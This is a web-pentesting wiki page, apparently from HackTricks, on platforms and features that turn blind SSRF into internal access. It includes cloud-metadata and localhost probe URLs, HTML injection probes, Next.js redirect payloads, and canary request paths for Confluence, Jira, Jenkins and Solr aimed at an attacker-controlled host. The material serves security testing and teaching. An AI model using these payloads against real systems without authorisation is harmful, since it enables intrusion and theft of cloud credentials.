ssrf-vulnerable-platforms.md (13239B)
1 --- 2 title: "SSRF Vulnerable Platforms" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # SSRF Vulnerable Platforms 14 15 This page is focused on **platforms and features that frequently turn a blind SSRF into a useful pivot**. For generic SSRF basics, gopher payloads and protocol abuse, check the main [SSRF page](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview). For **cloud metadata endpoints**, check [cloud-ssrf.md](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf). For **parser and allowlist bypasses**, check [url-format-bypass.md](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass). 16 17 ## High-signal modern SSRF surfaces 18 19 ### Webhooks, callbacks and outgoing integrations 20 21 **Outgoing webhooks** are still one of the highest-signal places to hunt for SSRF. Modern SaaS products, self-hosted dashboards, Git services, on-call platforms, crawlers, and automation tools often let users register a callback URL and then send a server-side request to it later. 22 23 This keeps showing up in recent advisories because the primitive is very powerful: 24 25 - the request usually comes from a **privileged internal host** 26 - the request is often **blind / asynchronous** 27 - some implementations let you control the **method**, **headers**, and even the **body** 28 - the webhook worker is commonly allowed to reach **RFC1918**, **localhost**, and **link-local metadata** unless explicit SSRF protections exist 29 30 Recent examples include webhook SSRF issues in [**Grafana OnCall**](https://grafana.com/security/security-advisories/cve-2024-5526/), [**Gogs**](https://github.com/gogs/gogs/security/advisories/GHSA-w689-557m-2cvq), [**Soft Serve**](https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f), and [**Firecrawl**](https://github.com/firecrawl/firecrawl/security/advisories/GHSA-p2wg-prhf-jx79).<sup>[[1]](#references)[[2]](#references)[[3]](#references)[[4]](#references)</sup> 31 32 Useful first probes: 33 34 ```text 35 http://127.0.0.1:2375/version 36 http://127.0.0.1:8500/v1/status/leader 37 http://127.0.0.1:8983/solr/admin/info/system 38 http://127.0.0.1:9200/_cat/health 39 http://169.254.169.254/latest/meta-data/ 40 http://metadata.google.internal/computeMetadata/v1/ 41 ``` 42 43 If the webhook feature lets you set **custom headers**, **non-GET methods**, or a **raw request body**, the impact increases a lot because you can start testing things like: 44 45 - **GCP metadata** with `Metadata-Flavor: Google` 46 - **AWS IMDSv2** token requests with `PUT /latest/api/token` 47 - authenticated internal APIs that trust requests coming from the platform itself 48 49 ### HTML-to-PDF, screenshot and headless-browser renderers 50 51 If a product can **render HTML into PDF**, generate a **screenshot**, create a **preview card**, or visit a page in a **headless browser**, treat it as an SSRF sink until proven otherwise. 52 53 This is especially common in: 54 55 - reporting / analytics exports 56 - invoice or receipt generation 57 - admin "print to PDF" features 58 - screenshot-as-a-service tools 59 - HTML-to-PDF APIs such as [**Gotenberg**](https://gotenberg.dev/docs/convert-with-chromium/convert-html-to-pdf) or wrappers around **Chromium** / **wkhtmltopdf** 60 61 Typical probes: 62 63 ```html 64 <img src="http://127.0.0.1:2375/version"> 65 <link rel="stylesheet" href="http://127.0.0.1:8983/solr/admin/info/system"> 66 <iframe src="http://169.254.169.254/latest/meta-data/"></iframe> 67 <script>fetch('http://127.0.0.1:8080/')</script> 68 ``` 69 70 Notes: 71 72 - Even if the response is not reflected, the feature is often a **blind SSRF gadget** and can still be verified with **OAST** interactions. 73 - Headless Chromium based renderers may execute **JavaScript**, which makes them more powerful than simple `curl`-style fetchers. 74 - If you find a PDF renderer that only accepts uploaded HTML, remember that **asset URLs** inside HTML/CSS are usually enough to get SSRF. 75 76 For a bigger PDF-specific discussion, also check the HTML-to-PDF notes already present in the main [SSRF page](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview#html-to-pdf-renderers-as-blind-ssrf-gadgets). 77 78 ### Importers, previewers, avatar fetchers and image proxies 79 80 A lot of modern applications fetch remote content on behalf of the user without calling it a "webhook": 81 82 - **repository import / mirroring** 83 - **avatar import** from URL 84 - **image fetch / resize / optimization** endpoints 85 - **link preview / unfurl** workers 86 - **feed readers**, **scrapers**, **crawler jobs**, **markdown previewers** 87 - **OCR**, **AI image-generation**, and other model pipelines that first fetch a URL and then pass the bytes downstream 88 89 A recent high-value example is **Next.js**:<sup>[[5]](#references)</sup> 90 91 - the **`_next/image`** endpoint becomes a blind SSRF gadget when `remotePatterns` are too broad or when an allowed domain has an **open redirect** 92 - **Server Actions** had a 2024 SSRF bug where a crafted request plus a server-side redirect could be turned into a **full-read SSRF** (fixed in [**Next.js 14.1.1**](https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g))<sup>[[6]](#references)</sup> 93 94 Examples: 95 96 ```text 97 /_next/image?url=https://localhost:8080/admin&w=256&q=75 98 /_next/image?url=https://allowed.example/redirect?u=http://169.254.169.254/latest/meta-data/&w=256&q=75 99 ``` 100 101 When auditing these features, look for places where the platform: 102 103 - resolves a user-controlled URL and then fetches it later 104 - performs only a **single allowlist check** before following redirects 105 - trusts the **Host** header or an internal rewrite step 106 - assumes a resource is safe because it is an **image**, **PDF**, or **OpenGraph preview** 107 108 ### AI/OCR/media pipelines: verify **who** really fetches the URL 109 110 A URL parameter that eventually influences OCR or image generation is **not automatically a useful SSRF against the target environment**. First map the fetch origin:<sup>[[7]](#references)</sup> 111 112 - **target backend fetches it directly** --> real SSRF against that environment 113 - **third-party service fetches it** (OCR provider, cloud Vision API, external crawler) --> the request originates from that provider, so you usually **can't reach the target's localhost, RFC1918 space, or metadata endpoints** 114 - **browser fetches it** --> this is not SSRF 115 116 Quick triage workflow: 117 118 1. Send the URL to **Burp Collaborator / OAST** to confirm an outbound request exists. 119 2. Compare the **source IP / ASN** of the callback with the target's infra. 120 3. Read the code or trace the worker path to see whether the URL is handed to a third party or fetched by the application's own HTTP client. 121 4. Treat provider-side fetching as a different issue class unless that provider can still reach something interesting for the engagement. 122 123 ### Turning blind SSRF into readable output through downstream processors 124 125 If the server fetches the URL but does **not** return the body, inspect every field that controls how the fetched bytes are handled afterwards:<sup>[[7]](#references)</sup> 126 127 - `mime_type`, `content_type`, `file_type`, `parser`, `mode`, `format` 128 - prompt / attachment metadata sent to an OCR, LLM, preview, or image-generation pipeline 129 - template flags that switch between **image**, **text**, **markdown**, **HTML**, or **OCR** modes 130 131 A common upgrade path is: 132 133 1. confirm **blind SSRF** with OAST 134 2. point the URL to a harmless text endpoint such as `https://icanhazip.com` 135 3. force the downstream processor to treat the response as **text** (for example `mime_type=text/plain`) 136 4. look for the fetched response rendered inside the final artifact (generated image, OCR text, preview, moderation output, LLM response, PDF, etc.) 137 138 This turns a blind callback into **response exfiltration** without ever receiving the raw HTTP body directly. In modern AI features, the vulnerable pattern is often: **fetch attacker URL -> base64/attach response -> send it to the model together with attacker-controlled type metadata -> render model output back to the user**. 139 140 Useful proof targets once you suspect this pattern: 141 142 ```text 143 https://icanhazip.com 144 http://127.0.0.1:6060/debug/pprof/cmdline 145 http://127.0.0.1:6060/debug/pprof/goroutine?debug=1 146 http://169.254.169.254/latest/meta-data/ 147 http://169.254.170.2/v2/metadata 148 ``` 149 150 If you can only see error strings, they still help a lot: DNS failures, TLS validation errors, `401` from metadata services, and scheme-parsing errors often prove that the **backend** made the request and reached internal-only destinations. 151 152 ## Blind SSRF canaries against internal software 153 154 When the primitive is blind, try to bounce it through **internal software that performs another outbound request** to your OAST domain. This both **proves reachability** and often **fingerprints the internal platform**. 155 156 High-signal candidates taken from the Assetnote blind SSRF chains research:<sup>[[8]](#references)</sup> 157 158 <details> 159 <summary>Useful blind SSRF canaries</summary> 160 161 ```bash 162 # Confluence Sharelinks 163 /rest/sharelinks/1.0/link?url=https://SSRF_CANARY/ 164 165 # Confluence / Jira iconUriServlet 166 /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY 167 168 # Jira makeRequest 169 /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com 170 171 # Jenkins GitHubTokenCredentialsCreator 172 /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=a&password=b 173 174 # Apache Solr shards= 175 /search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}} 176 177 # GitLab Redis exporter pivot 178 /scrape?target=redis://127.0.0.1:7001&check-keys=* 179 ``` 180 181 </details> 182 183 Other evergreen internal targets worth probing from a SSRF sink are: 184 185 - **Docker API**: `/containers/json`, `/services`, `/secrets` 186 - **Consul**: `/v1/status/leader` 187 - **Elasticsearch**: `/_cluster/health`, `/_cat/indices` 188 - **Solr**: `/solr/admin/info/system` 189 - **Jenkins**: `/login`, `/script`, plugin-specific endpoints 190 - **Prometheus / exporters / internal observability stacks** 191 - **Go `pprof`**: `/debug/pprof/`, `/debug/pprof/cmdline`, `/debug/pprof/goroutine?debug=1`, `/debug/pprof/heap` 192 193 This page is intentionally keeping the list short. For a much larger chain catalog, check the original Blind SSRF Chains research linked below.<sup>[[8]](#references)</sup> 194 195 ## Practical workflow 196 197 1. **Confirm OAST** using Interactsh / Burp Collaborator / webhook.site. 198 2. **Identify the fetch origin**: target backend, browser, or third-party provider. This decides whether you really have SSRF against the assessed environment. 199 3. **Derive internal hostnames** from DNS data, certificates, ELB names, app error messages, or naming conventions such as `jira`, `jenkins`, `grafana`, `solr`, `consul`, `redis`, `gitlab`, `argo`, `vault`, `kibana`. 200 4. **Spray platform-specific canaries** instead of only probing `/` on random ports. 201 5. If the sink is blind, fuzz **downstream interpretation fields** (`mime_type`, parser/format flags, OCR or LLM attachment metadata) to try to convert it into a readable exfiltration channel. 202 6. If you get any sign of internal reachability, pivot into: 203 - [cloud-ssrf.md](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) for metadata endpoints 204 - [url-format-bypass.md](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass) for allowlist bypasses 205 - protocol-specific exploitation from the main [SSRF page](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/overview) 206 207 A blind SSRF with only **DNS callbacks** can still be enough to: 208 209 - prove access to **specific internal applications** 210 - prove access to **cloud metadata** 211 - turn a "low severity webhook issue" into a **credential theft** or **internal admin plane** finding 212 213 ## References 214 215 - [1] [Grafana OnCall webhook SSRF advisory (CVE-2024-5526)](https://grafana.com/security/security-advisories/cve-2024-5526/) 216 - [2] [Gogs webhook SSRF advisory (GHSA-w689-557m-2cvq)](https://github.com/gogs/gogs/security/advisories/GHSA-w689-557m-2cvq) 217 - [3] [Soft Serve webhook SSRF advisory (GHSA-vwq2-jx9q-9h9f)](https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-vwq2-jx9q-9h9f) 218 - [4] [Firecrawl webhook SSRF advisory (GHSA-p2wg-prhf-jx79)](https://github.com/firecrawl/firecrawl/security/advisories/GHSA-p2wg-prhf-jx79) 219 - [5] [Assetnote - Digging for SSRF in NextJS apps](https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps/) 220 - [6] [Next.js Server Actions SSRF advisory (GHSA-fr5h-rqp8-mj6g)](https://github.com/vercel/next.js/security/advisories/GHSA-fr5h-rqp8-mj6g) 221 - [7] [Bishop Fox - AI Finds Vulnerabilities. Security Experts Find Impact.](https://bishopfox.com/blog/ai-finds-vulnerabilities-security-experts-find-impact) 222 - [8] [Assetnote - A Glossary of Blind SSRF Chains](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)